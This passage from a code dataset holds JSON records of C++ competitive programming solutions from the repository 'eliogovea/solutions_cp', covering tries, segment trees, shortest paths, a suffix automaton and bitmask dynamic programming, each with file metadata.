str; *p; p++) {\r\n\t\t\tif (ptr->next[*p - 'a'] == NULL)\r\n\t\t\t\tptr->next[*p - 'a'] = new node();\r\n\t\t\tptr = ptr->next[*p - 'a'];\r\n\t\t}\r\n\t\tptr->fin = 1;\r\n\t}\r\n\tscanf(\"%s\", text);\r\n\tdp[0] = 1;\r\n\tint len;\r\n\tfor (len = 0; text[len]; len++)\r\n\t\tif (dp[len]) {\r\n\t\t\tnode *ptr = &root;\r\n\t\t\tfor (int j = len; text[j]; j++) {\r\n\t\t\t\tif (ptr->next[text[j] - 'a'] == NULL) break;\r\n\t\t\t\tptr = ptr->next[text[j] - 'a'];\r\n\t\t\t\tif (ptr->fin) dp[j + 1] = (dp[j + 1] + dp[len]) % mod;\r\n\t\t\t}\r\n\t\t}\r\n\tprintf(\"%d\\n\", dp[len]);\r\n}\r\n" }, { "alpha_fraction": 0.3356643319129944, "alphanum_fraction": 0.3881118893623352, "avg_line_length": 17.066667556762695, "blob_id": "299692664ac756dda97eb5c133a15edf306dad7e", "content_id": "43417a8132883fde9ac44c030156a44880eb0357", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 286, "license_type": "no_license", "max_line_length": 57, "num_lines": 15, "path": "/COJ/eliogovea-cojAC/eliogovea-p1113-Accepted-s609295.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nconst int MAXN = 30;\r\n\r\nint n, a[MAXN + 5], b[MAXN + 5];\r\n\r\nint main() {\r\n\tb[0] = 1;\r\n\ta[1] = 1;\r\n\tfor(int i = 2; i <= MAXN; i++) {\r\n\t\ta[i] = a[i - 2] + b[i - 1];\r\n\t\tb[i] = b[i - 2] + 2 * a[i - 1];\r\n\t}\r\n\twhile (scanf(\"%d\", &n) && n != -1) printf(\"%d\\n\", b[n]);\r\n}\r\n" }, { "alpha_fraction": 0.3813878297805786, "alphanum_fraction": 0.4206562638282776, "avg_line_length": 16.875, "blob_id": "8276f492a710017fb88dd32087b3e88e1b5ed869", "content_id": "9fcc3ef936bccc74b60b135dd76629c6a8830799", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1859, "license_type": "no_license", "max_line_length": 54, "num_lines": 104, "path": "/SPOJ/MULTQ3.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n \nusing namespace std;\n \nstruct node {\n\tint v[3];\n\tint lazy;\n\tnode() {\n\t\tv[0] = v[1] = v[2] = 0;\n\t\tlazy = 0;\n\t}\n\tvoid update() {\n\t\tint aux[3];\n\t\tfor (int i = 0; i < 3; i++) {\n\t\t\taux[i] = v[i];\n\t\t}\n\t\tfor (int i = 0; i < 3; i++) {\n\t\t\tv[(i + lazy) % 3] = aux[i];\n\t\t}\n\t\tlazy = 0;\n\t}\n};\n \nnode operator + (const node &a, const node &b) {\n\tnode res;\n\tfor (int i = 0; i < 3; i++) {\n\t\tres.v[i] = a.v[i] + b.v[i];\n\t}\n\tres.lazy = 0;\n\treturn res;\n}\n \nconst int N = 100005;\n \nnode t[4 * N];\n \nvoid build(int x, int l, int r) {\n if (l == r) {\n t[x].v[0] = 1;\n } else {\n int m = (l + r) >> 1;\n build(2 * x, l, m);\n build(2 * x + 1, m + 1, r);\n t[x] = t[2 * x] + t[2 * x + 1];\n }\n}\n \nvoid propagate(int x, int l, int r) {\n\tint lazy = t[x].lazy;\n\tif (lazy) {\n\t\tt[x].update();\n\t\tif (l != r) {\n\t\t\tt[2 * x].lazy = (t[2 * x].lazy + lazy) % 3;\n\t\t\tt[2 * x + 1].lazy = (t[2 * x + 1].lazy + lazy) % 3;\n\t\t}\n\t}\n}\n \nvoid update(int x, int l, int r, int ul, int ur) {\n\tpropagate(x, l, r);\n\tif (l > ur || r < ul) {\n\t\treturn;\n\t}\n\tif (l >= ul && r <= ur) {\n\t\tt[x].lazy = (t[x].lazy + 1) % 3;\n\t\tpropagate(x, l, r);\n\t} else {\n\t\tint m = (l + r) >> 1;\n\t\tupdate(2 * x, l, m, ul, ur);\n\t\tupdate(2 * x + 1, m + 1, r, ul, ur);\n\t\tt[x] = t[2 * x] + t[2 * x + 1];\n\t}\n}\n \nnode query(int x, int l, int r, int ql, int qr) {\n\tpropagate(x, l, r);\n\tif (l > qr || r < ql) {\n\t\treturn node();\n\t}\n\tif (l >= ql && r <= qr) {\n\t\treturn t[x];\n\t}\n\tint m = (l + r) >> 1;\n\tnode q1 = query(2 * x, l, m, ql, qr);\n\tnode q2 = query(2 * x + 1, m + 1, r, ql, qr);\n\treturn q1 + q2;\n}\n \nint n, q, a, b, c;\n \nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> n >> q;\n\tbuild(1, 1, n);\n\twhile (q--) {\n\t\tcin >> a >> b >> c;\n\t\tif (a == 0) {\n\t\t\tupdate(1, 1, n, b + 1, c + 1);\n\t\t} else {\n\t\t\tcout << query(1, 1, n, b + 1, c + 1).v[0] << \"\\n\";\n\t\t}\n\t}\n}\n" }, { "alpha_fraction": 0.42928871512413025, "alphanum_fraction": 0.45606693625450134, "avg_line_length": 16.41538429260254, "blob_id": "96e96adaa7387ed3d4762f5ab9c463358e5f6d31", "content_id": "240ed27f379721bf3e0d28bbaceba1cfd36169aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1195, "license_type": "no_license", "max_line_length": 47, "num_lines": 65, "path": "/COJ/eliogovea-cojAC/eliogovea-p3154-Accepted-s792646.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cstdio>\r\n#include <cstdlib>\r\n#include <cstring>\r\n#include <string>\r\n#include <algorithm>\r\n#include <cmath>\r\n#include <list>\r\n#include <vector>\r\n#include <stack>\r\n#include <set>\r\n#include <map>\r\n#include <cassert>\r\n#include <queue>\r\n\r\nusing namespace std;\r\n\r\nint m, s;\r\n\r\n\r\n\r\nstring find_max(int m, int s) {\r\n\tstring ret;\r\n\twhile (s >= 9) {\r\n\t\tret += '9';\r\n\t\ts -= 9;\r\n\t}\r\n\tif (s != 0) ret += '0' + s;\r\n\tint sz = ret.size();\r\n\tif (sz > m) return \"-1\";\r\n\twhile (ret.size() < m) ret += '0';\r\n\treturn ret;\r\n}\r\n\r\nstring find_min(int m, int s) {\r\n\tfor (int i = 1; i <= 9; i++) {\r\n\t\tstring tmp = find_max(m - 1, s - i);\r\n\t\tif (tmp == \"-1\") continue;\r\n\t\ttmp += ('0' + i);\r\n\t\treverse(tmp.begin(), tmp.end());\r\n\t\treturn tmp;\r\n\t}\r\n\treturn \"-1\";\r\n}\r\n\r\nint main() {\r\n\tcin >> m >> s;\r\n\tif (m == 1 && s == 0) {\r\n cout << \"0 0\\n\";\r\n return 0;\r\n }\r\n if (9 * m < s) {\r\n cout << \"-1 -1\\n\";\r\n return 0;\r\n }\r\n if (m > 1 && s == 0) {\r\n cout << \"-1 -1\\n\";\r\n return 0;\r\n }\r\n\tstring a = find_max(m, s);\r\n\tstring b = find_min(m, s);\r\n\tif (a == \"-1\" || b == \"-1\") cout << \"-1 -1\\n\";\r\n\telse cout << b << \" \" << a << \"\\n\";\r\n\treturn 0;\r\n}" }, { "alpha_fraction": 0.43547168374061584, "alphanum_fraction": 0.47849056124687195, "avg_line_length": 19.384614944458008, "blob_id": "920791e2698a4bb97947d339a839a6a0e2270a11", "content_id": "64bda631cc12308abfc57a923f1ca44620a572a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1325, "license_type": "no_license", "max_line_length": 77, "num_lines": 65, "path": "/Codeforces-Gym/101124 - 2016-2017 CT S03E06: Codeforces Trainings Season 3 Episode 6/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E06: Codeforces Trainings Season 3 Episode 6\n// 101124C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst string names[] = {\"king\", \"queen\", \"bishop\", \"knight\", \"rook\", \"pawn\"};\nconst int need[] = {1, 1, 2, 2, 2, 8};\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tint k1, k2;\n\tcin >> k1 >> k2;\n\tmap <string, int> white1, black1, white2, black2;\n\tfor (int i = 0; i < k1; i++) {\n\t\tstring a, b;\n\t\tcin >> a >> b;\n\t\tif (a == \"white\") {\n\t\t\twhite1[b]++;\n\t\t} else {\n\t\t\tblack1[b]++;\n\t\t}\n\t}\n\tfor (int i = 0; i < k2; i++) {\n\t\tstring a, b;\n\t\tcin >> a >> b;\n\t\tif (a == \"white\") {\n\t\t\twhite2[b]++;\n\t\t} else {\n\t\t\tblack2[b]++;\n\t\t}\n\t}\n\tbool ok = true;\n\tfor (int i = 0; i < 6; i++) {\n\t\tif (white1[names[i]] + white2[names[i]] < need[i]) {\n\t\t\tok = false;\n\t\t\tbreak;\n\t\t}\n\t\tif (black1[names[i]] + black2[names[i]] < need[i]) {\n\t\t\tok = false;\n\t\t\tbreak;\n\t\t}\n\t}\n\tif (!ok) {\n\t\tcout << \"impossible\\n\";\n\t} else {\n\t\tfor (int i = 0; i < 6; i++) {\n\t\t\tif (white1[names[i]] < need[i]) {\n\t\t\t\tint c = need[i] - white1[names[i]];\n\t\t\t\tfor (int j = 0; j < c; j++) {\n\t\t\t\t\tcout << \"white \" << names[i] << \"\\n\";\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (black1[names[i]] < need[i]) {\n\t\t\t\tint c = need[i] - black1[names[i]];\n\t\t\t\tfor (int j = 0; j < c; j++) {\n\t\t\t\t\tcout << \"black \" << names[i] << \"\\n\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n" }, { "alpha_fraction": 0.30216801166534424, "alphanum_fraction": 0.3306232988834381, "avg_line_length": 18.421052932739258, "blob_id": "1c294288536c08c5328056815b8c49ead0f6a7ae", "content_id": "42a866c1a90be2670a3e25490f09082550298429", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 738, "license_type": "no_license", "max_line_length": 45, "num_lines": 38, "path": "/Codeforces-Gym/100499 - 2014 ACM-ICPC Vietnam National First Round/J.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014 ACM-ICPC Vietnam National First Round\n// 100499J\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint t;\nint n, m, k, a;\nlong long dp[10005];\n\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n cin >> t;\n while (t--) {\n cin >> n >> m >> k;\n for (int i = 0; i <= m; i++) {\n dp[i] = 0;\n }\n dp[0] = 1;\n for (int i = 0; i < n; i++) {\n cin >> a;\n for (int i = m; i >= a; i--) {\n dp[i] += dp[i - a];\n if (dp[i] > k) {\n dp[i] = k;\n }\n }\n }\n if (dp[m] >= k) {\n cout << \"ENOUGH\\n\";\n } else {\n cout << dp[m] << \"\\n\";\n }\n }\n}\n" }, { "alpha_fraction": 0.396284818649292, "alphanum_fraction": 0.43653249740600586, "avg_line_length": 12.043478012084961, "blob_id": "43ed9c2c7ee3fe5ba4c77ddb1ee405758980958b", "content_id": "b8c21b7e930e8b78b6609782907957e85ce8f7a4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 323, "license_type": "no_license", "max_line_length": 38, "num_lines": 23, "path": "/COJ/eliogovea-cojAC/eliogovea-p2422-Accepted-s561086.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#define mod 1000000000\r\nusing namespace std;\r\n\r\nint cas;\r\nlong long a,b,sol;\r\n\r\nint main()\r\n{\r\n\tfor( cin >> cas; cas--; )\r\n\t{\r\n\t\tcin >> a >> b;\r\n\t\ta %= mod;\r\n\t\tsol = 1;\r\n\t\twhile( b )\r\n\t\t{\r\n\t\t\tif( b & 1 )sol = ( sol * a ) % mod;\r\n\t\t\ta = ( a * a ) % mod;\r\n\t\t\tb >>= 1;\r\n\t\t}\r\n\t\tcout << sol << endl;\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4443967342376709, "alphanum_fraction": 0.45985400676727295, "avg_line_length": 19.366971969604492, "blob_id": "d737062e9c39512e5367b398f4a9b1a600f5db28", "content_id": "013eeaeb702302ae95af563464d905f03adba92a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2329, "license_type": "no_license", "max_line_length": 66, "num_lines": 109, "path": "/COJ/eliogovea-cojAC/eliogovea-p1027-Accepted-s552145.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "/**\r\n COJ - 1027 - Travel in Desert\r\n eliogovea\r\n*/\r\n#include<cstdio>\r\n#include<algorithm>\r\n#include<vector>\r\n#include<queue>\r\n#include<stack>\r\n#define MAXN 1000\r\n#define INF 1e9\r\nusing namespace std;\r\n\r\ntypedef pair<double,int> pdi;\r\n\r\nint V,E,st,en;\r\nint padre[MAXN],a,b;\r\ndouble T[MAXN],D[MAXN],c,d;\r\nvector<pair<int,pair<double,double> > > G[MAXN];\r\nvector<pair<int,pair<double,double> > >::iterator it;\r\npriority_queue<pdi,vector<pdi>,greater<pdi> >Q;\r\nbool M1[MAXN],M2[MAXN];\r\nstack<int> sol;\r\n\r\nint main()\r\n{\r\n\twhile( scanf(\"%d%d\",&V,&E) == 2 )\r\n\t{\r\n\t\tscanf(\"%d%d\",&st,&en);\r\n\r\n\t\tfor(int i=1; i<=E; i++)\r\n\t\t{\r\n\t\t\tscanf(\"%d%d%lf%lf\",&a,&b,&c,&d);\r\n\t\t\tG[a].push_back(make_pair(b,make_pair(c,d)));\r\n\t\t\tG[b].push_back(make_pair(a,make_pair(c,d)));\r\n\t\t}\r\n\r\n\t\tfor(int i=1; i<=V; i++)\r\n\t\t\tT[i]=INF;\r\n\r\n\t\tT[st]=0;\r\n\t\tQ.push(make_pair(0.0,st));\r\n\t\twhile(!Q.empty())\r\n\t\t{\r\n\t\t\tint act = Q.top().second;\r\n\t\t\tdouble tem = Q.top().first;\r\n\t\t\tQ.pop();\r\n\r\n\t\t\tif(M1[act])continue;\r\n\t\t\tM1[act]=1;\r\n\r\n\t\t\tfor(it=G[act].begin(); it!=G[act].end(); it++)\r\n\t\t\t\tif( T[it->first] > max(tem,(it->second).first) )\r\n\t\t\t\t{\r\n\t\t\t\t\tT[it->first] = max(tem,(it->second).first);\r\n\t\t\t\t\tQ.push(make_pair(T[it->first],it->first));\r\n\t\t\t\t}\r\n\t\t}\r\n\r\n\t\tdouble Temp = T[en];\r\n\r\n\t\tfor(int i=1; i<=V; i++)\r\n\t\t\tD[i]=INF;\r\n D[st]=0;\r\n\t\tQ.push(make_pair(0.0,st));\r\n\r\n\t\twhile(!Q.empty())\r\n {\r\n int act = Q.top().second;\r\n double dis = Q.top().first;\r\n Q.pop();\r\n\r\n if(M2[act])continue;\r\n M2[act]=1;\r\n\r\n for(it=G[act].begin(); it!=G[act].end(); it++)\r\n if((it->second).first <= Temp)\r\n if(D[it->first] > dis + (it->second).second)\r\n {\r\n D[it->first] = dis + (it->second).second;\r\n padre[it->first] = act;\r\n Q.push(make_pair(D[it->first],it->first));\r\n }\r\n }\r\n\r\n\t\tint aux = en;\r\n\t\twhile(aux)\r\n\t\t{\r\n\t\t\tsol.push(aux);\r\n\t\t\taux=padre[aux];\r\n\t\t}\r\n\r\n\t\twhile(sol.size())\r\n\t\t{\r\n\t\t\tprintf(\"%d\",sol.top());\r\n\t\t\tsol.pop();\r\n\t\t\tif(sol.size())printf(\" \");\r\n\t\t}\r\n\r\n\t\tprintf(\"\\n%.1lf %.1lf\\n\",D[en],T[en]);\r\n\r\n\t\tfor(int i=1; i<=V; i++)\r\n {\r\n G[i].clear();\r\n M1[i]=M2[i]=padre[i]=0;\r\n D[i]=T[i]=0.0;\r\n }\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4040778577327728, "alphanum_fraction": 0.4179795980453491, "avg_line_length": 28.828571319580078, "blob_id": "05562f1e943d771a2c8651998b069890e907483f", "content_id": "8ee4df2dba126226f315f08a59f7d9be2bcd70ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1079, "license_type": "no_license", "max_line_length": 154, "num_lines": 35, "path": "/COJ/eliogovea-cojAC/eliogovea-p2922-Accepted-s625551.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <iostream>\r\n#include <cmath>\r\nusing namespace std;\r\n\r\nstruct pt {\r\n\tdouble x, y;\r\n\tpt() {}\r\n\tpt(double xx, double yy) : x(xx), y(yy) {}\r\n};\r\n\r\ndouble dist(pt a, pt b) {\r\n\treturn sqrt((a.x - b.x) * (a.x - b.x) + (a.y - b.y) * (a.y - b.y));\r\n}\r\n\r\ndouble cross(pt a, pt b, pt c) {\r\n\treturn (b.x - a.x) * (c.y - a.y) - (b.y - a.y) * (c.x - a.x);\r\n}\r\n\r\npt a, b, c, d, e, f;\r\n\r\nint main() {\r\n\twhile (cin >> a.x >> a.y >> b.x >> b.y >> c.x >> c.y >> d.x >> d.y >> e.x >> e.y >> f.x >> f.y) {\r\n\t\tif (a.x == 0 && a.y == 0 && b.x == 0 && b.y == 0 && c.x == 0 && c.y == 0 && d.x == 0 && d.y == 0 && e.x == 0 && e.y == 0 && f.x == 0 && f.y == 0) break;\r\n\t\tdouble sin_ang = fabs(cross(a, b, c) / (dist(a, b) * dist(a, c)));\r\n\t\tdouble ah = fabs(cross(d, e, f) / 2.0) / (dist(a, b) * sin_ang);\r\n\t\tdouble t = ah / (dist(a, c));\r\n\t\tdouble Hx = a.x + (c.x - a.x) * t;\r\n\t\tdouble Hy = a.y + (c.y - a.y) * t;\r\n\t\tdouble Gx = Hx + b.x - a.x;\r\n\t\tdouble Gy = Hy + b.y - a.y;\r\n\t\tcout.precision(3);\r\n\t\tcout << fixed << Gx << \" \" << Gy << \" \" << Hx << \" \" << Hy << endl;\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4444444477558136, "alphanum_fraction": 0.44802868366241455, "avg_line_length": 17.928571701049805, "blob_id": "28d46fffe5b5b51528f2dc6cd91116982df9d4d2", "content_id": "2ef48a471256cc80313b73ea3a4c45610b901c8a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 279, "license_type": "no_license", "max_line_length": 77, "num_lines": 14, "path": "/COJ/eliogovea-cojAC/eliogovea-p2854-Accepted-s615503.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <cmath>\r\n\r\nint tc;\r\ndouble l, xa, xb, ya, yb;\r\n\r\nint main() {\r\n\tscanf(\"%d\", &tc);\r\n\twhile (tc--) {\r\n\t\tscanf(\"%lf%lf%lf%lf%lf\", &l, &xa, &ya, &xb, &yb);\r\n\t\tya -= l;\r\n\t\tprintf(\"%.3lf\\n\", l + sqrt((xa - xb) * (xa - xb) + (ya - yb) * (ya - yb)));\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.45241910219192505, "alphanum_fraction": 0.4647548794746399, "avg_line_length": 20.598615646362305, "blob_id": "7dc4f44f85b51c50707ecf623071c9cdddd3385f", "content_id": "dd3800821a52461831f4b05725b3b8fe70f6ead2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6242, "license_type": "no_license", "max_line_length": 95, "num_lines": 289, "path": "/Timus/1713-8094582.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1713\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 1000;\nconst int S = 100;\n\nconst int SIZE = 2 * N * S + 100;\nint n;\nstring word[N];\nvector <int> wordId[SIZE];\n\nint subTreeSize[SIZE];\nint heavy[SIZE];\n\nmap <int, int> f;\nint t = 0;\n\nint answerLength[N + 10];\nint answerPos[N + 10];\n\ntemplate <class T, int S>\nstruct suffixAutomaton {\n\tint length[S];\n\tmap <T, int> go[S];\n\tint suffixLink[S];\n\n int firstWord[S];\n\tint firstPos[S];\n\n\tint root;\n\tint size;\n\tint last;\n\n\tint freq[S];\n\tint order[S];\n\n\tsuffixAutomaton() {\n\t\tinit();\n\t}\n\n\tvoid init() {\n\t\tsize = 0;\n\t\troot = last = getNew(0, -1, -1);\n\t}\n\n\tint getNew(int _length, int _firstWord, int _firstPos) {\n\t\tlength[size] = _length;\n\t\tgo[size].clear();\n\t\tsuffixLink[size] = -1;\n\n firstWord[size] = _firstWord;\n\t\tfirstPos[size] = _firstPos;\n\n\t\treturn size++;\n\t}\n\n\tint getClone(int from, int _length) {\n\t\tlength[size] = _length;\n\t\tgo[size] = go[from];\n\t\tsuffixLink[size] = suffixLink[from];\n\n firstWord[size] = firstWord[from];\n\t\tfirstPos[size] = firstPos[from];\n\n\t\treturn size++;\n\t}\n\n\tvoid add(T c, int _firstWord, int _firstPos) {\n\t\tint p = last;\n\t\tif (go[p].find(c) != go[p].end()) {\n\t\t\tint q = go[p][c];\n\t\t\tif (length[p] + 1 == length[q]) {\n\t\t\t\tlast = q;\n\t\t\t} else {\n\t\t\t\tlast = getClone(q, length[p] + 1);\n\t\t\t\tsuffixLink[q] = last;\n\t\t\t\twhile (p != -1 && go[p][c] == q) {\n\t\t\t\t\tgo[p][c]= last;\n\t\t\t\t\tp = suffixLink[p];\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tlast = getNew(length[p] + 1, _firstWord, _firstPos);\n\t\t\twhile (p != -1 && go[p].find(c) == go[p].end()) {\n\t\t\t\tgo[p][c] = last;\n\t\t\t\tp = suffixLink[p];\n\t\t\t}\n\t\t\tif (p == -1) {\n\t\t\t\tsuffixLink[last] = root;\n\t\t\t} else {\n\t\t\t\tint q = go[p][c];\n\t\t\t\tif (length[p] + 1 == length[q]) {\n\t\t\t\t\tsuffixLink[last] = q;\n\t\t\t\t} else {\n\t\t\t\t\tint cq = getClone(q, length[p] + 1);\n\t\t\t\t\tsuffixLink[q] = cq;\n\t\t\t\t\tsuffixLink[last] = cq;\n\t\t\t\t\twhile (p != -1 && go[p][c] == q) {\n\t\t\t\t\t\tgo[p][c] = cq;\n\t\t\t\t\t\tp = suffixLink[p];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tvoid _sort() {\n\t\tint mx = *max_element(length, length + size);\n\t\tfor (int i = 0; i <= mx; i++) {\n\t\t\tfreq[i] = 0;\n\t\t}\n\t\tfor (int s = 0; s < size; s++) {\n\t\t\tfreq[length[s]]++;\n\t\t}\n\t\tfor (int i = 1; i <= mx; i++) {\n\t\t\tfreq[i] += freq[i - 1];\n\t\t}\n\t\tfor (int s = size - 1; s >= 0; s--) {\n\t\t\torder[--freq[length[s]]] = s;\n\t\t}\n\t}\n\n map <T, int> suffixTree[S];\n\n void buildSuffixTree() {\n _sort();\n for (int i = size - 1; i >= 0; i--) {\n int s = order[i];\n if (suffixLink[s] != -1) {\n T c = (T)word[firstWord[s]][firstPos[s] - length[suffixLink[s]]];\n suffixTree[suffixLink[s]][c]= s;\n }\n }\n }\n\n};\n\nsuffixAutomaton <char, SIZE> sa;\n\nint calcSubTreeSize(int u) {\n subTreeSize[u] = 1;\n heavy[u] = -1;\n for (auto to : sa.suffixTree[u]) {\n subTreeSize[u] += calcSubTreeSize(to.second);\n if (heavy[u] == -1 || subTreeSize[to.second] < subTreeSize[heavy[u]]) {\n heavy[u] = to.second;\n }\n }\n return subTreeSize[u];\n}\n\n\nvoid add(int root, int u, int delta) {\n for (auto x : wordId[u]) {\n f[x] += delta;\n if (f[x] == 0) {\n t--;\n f.erase(f.find(x));\n } else if (delta == 1 && f[x] == 1) {\n t++;\n }\n }\n for (auto to : sa.suffixTree[u]) {\n if (root == u && to.second == heavy[u] && delta == 1) {\n continue;\n }\n add(root, to.second, delta);\n }\n}\n\nvoid dfs(int u, bool keep) {\n for (auto to : sa.suffixTree[u]) {\n if (to.second != heavy[u]) {\n dfs(to.second, false);\n }\n }\n if (heavy[u] != -1) {\n dfs(heavy[u], true);\n }\n add(u, u, 1);\n\n if (t == 1) {\n int id = f.begin()->first;\n int l = sa.length[sa.suffixLink[u]] + 1;\n if (l < answerLength[id]) {\n answerLength[id] = l;\n answerPos[id] = sa.firstPos[u] - l + 1;\n }\n }\n \n if (!keep) {\n add(u, u, -1);\n }\n}\n\nvoid slow(int u, int p = -1) {\n for (auto to : sa.suffixTree[u]) {\n slow(to.second, u);\n for (auto x : wordId[to.second]) {\n wordId[u].push_back(x);\n }\n }\n sort(wordId[u].begin(), wordId[u].end());\n // wordId[u].erase(unique(wordId[u].begin(), wordId[u].end()), wordId[u].end());\n\n if (u == sa.root) {\n return;\n }\n\n cerr << \"now: \" << u << \"\\n\";\n cerr << \"parent: \" << p << \"\\n\";\n cerr << \"substrings:\\n\";\n int id = sa.firstWord[u];\n int start = sa.firstPos[u] - sa.length[u] + 1;\n for (int l = sa.length[sa.suffixLink[u]] + 1; l <= sa.length[u]; l++) {\n cerr << word[id].substr(sa.firstPos[u] - l + 1, l) << \"\\n\";\n }\n cerr << \"belongs:\\n\";\n for (auto id : wordId[u]) {\n cerr << id << \" \";\n }\n cerr << \"\\n-------------------------------------\\n\\n\";\n\n if (wordId[u].size() == 1) {\n int id = wordId[u][0];\n int l = sa.length[sa.suffixLink[u]] + 1;\n if (l < answerLength[id]) {\n answerLength[id] = l;\n answerPos[id] = sa.firstPos[u] - l + 1;\n }\n }\n/*\n add(u, u, 1);\n if (t == 1) {\n int id = f.begin()->first;\n int l = sa.length[sa.suffixLink[u]] + 1;\n cerr << id << \" \" << sa.firstPos[u] - l + 1 << \" \" << l << \" \" << sa.length[l] << \"\\n\";\n if (l < answerLength[id]) {\n answerLength[id] = l;\n answerPos[id] = sa.firstPos[u] - l + 1;\n }\n }\n add(u, u, -1);\n for (auto to : sa.suffixTree[u]) {\n slow(to.second);\n }\n*/\n}\n\nbool solve() {\n int n;\n if (!(cin >> n)) {\n return false;\n }\n sa.init();\n for (int i = 0; i < n; i++) {\n cin >> word[i];\n for (int j = 0; j < (int)word[i].size(); j++) {\n sa.add(word[i][j], i, j);\n wordId[sa.last].push_back(i);\n }\n sa.last = sa.root;\n\n answerLength[i] = word[i].size();\n answerPos[i] = 0;\n }\n sa.buildSuffixTree();\n\n // slow(sa.root);\n \n calcSubTreeSize(sa.root);\n dfs(sa.root, true);\n\n for (int i = 0; i < n; i++) {\n cout << word[i].substr(answerPos[i], answerLength[i]) << \"\\n\";\n }\n}\n\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n solve();\n}\n" }, { "alpha_fraction": 0.2845100164413452, "alphanum_fraction": 0.3266596496105194, "avg_line_length": 16.574073791503906, "blob_id": "0897ef839cc9a0133345971450bccfcbe2e9312c", "content_id": "7f0e5f252afbb9b58736a11501e534da205aeef2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 949, "license_type": "no_license", "max_line_length": 59, "num_lines": 54, "path": "/Caribbean-Training-Camp-2018/Contest_3/Solutions/C3.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 20;\n\nint n;\nint c[N + 10];\nint s[(1 << N) + 10];\ndouble e[(1 << N) + 10];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n //freopen(\"dat.txt\", \"r\", stdin);\n\n cout.precision(13);\n cin >> n;\n\n for (int i = 0; i < n; i++) {\n cin >> c[i];\n }\n\n if (n == 1) {\n cout << \"1\\n\";\n return 0;\n }\n\n s[0] = 0;\n for (int i = 0; i < n; i++) {\n s[1 << i] = c[i];\n }\n\n for (int m = 1; m < (1 << n); m++) {\n s[m] = s[m ^ (m & -m)] + s[m & -m];\n }\n\n double t = s[(1 << n) - 1];\n\n e[(1 << n) - 1] = 0.0;\n\n for (int m = (1 << n) - 2; m >= 0; m--) {\n e[m] = 1.0;\n for (int i = 0; i < n; i++) {\n if (!(m & (1 << i))) {\n e[m] += e[m | (1 << i)] * (double)c[i] / t;\n }\n }\n e[m] /= (1.0 - (double)s[m] / t);\n }\n\n cout << fixed << e[0] << \"\\n\";\n}\n" }, { "alpha_fraction": 0.2987861931324005, "alphanum_fraction": 0.32773110270500183, "avg_line_length": 20.3125, "blob_id": "8fb9f99152d4919a9527f2b25ef13c0cd817c05a", "content_id": "4d760c4daeda31ba361a85067bfadb8e980c812e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1071, "license_type": "no_license", "max_line_length": 48, "num_lines": 48, "path": "/COJ/eliogovea-cojAC/eliogovea-p3027-Accepted-s705430.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nconst int N = 1000005;\r\n\r\ntypedef long long LL;\r\n\r\nchar s[N], let[2];\r\nLL n, m, k, f, sz;\r\nLL ac['Z' - 'A' + 15][N];\r\n\r\nint main() {\r\n scanf(\"%lld%s%lld\", &n, s, &m);\r\n\tfor (int i = 0; s[i]; i++) {\r\n sz = i;\r\n\t\tif (i != 0)\r\n\t\t\tfor (int j = 'A'; j <= 'Z'; j++)\r\n\t\t\t\tac[j - 'A' + 1][i] = ac[j - 'A' + 1][i - 1];\r\n\t\tac[s[i] - 'A' + 1][i]++;\r\n\t}\r\n\tsz++;\r\n\twhile 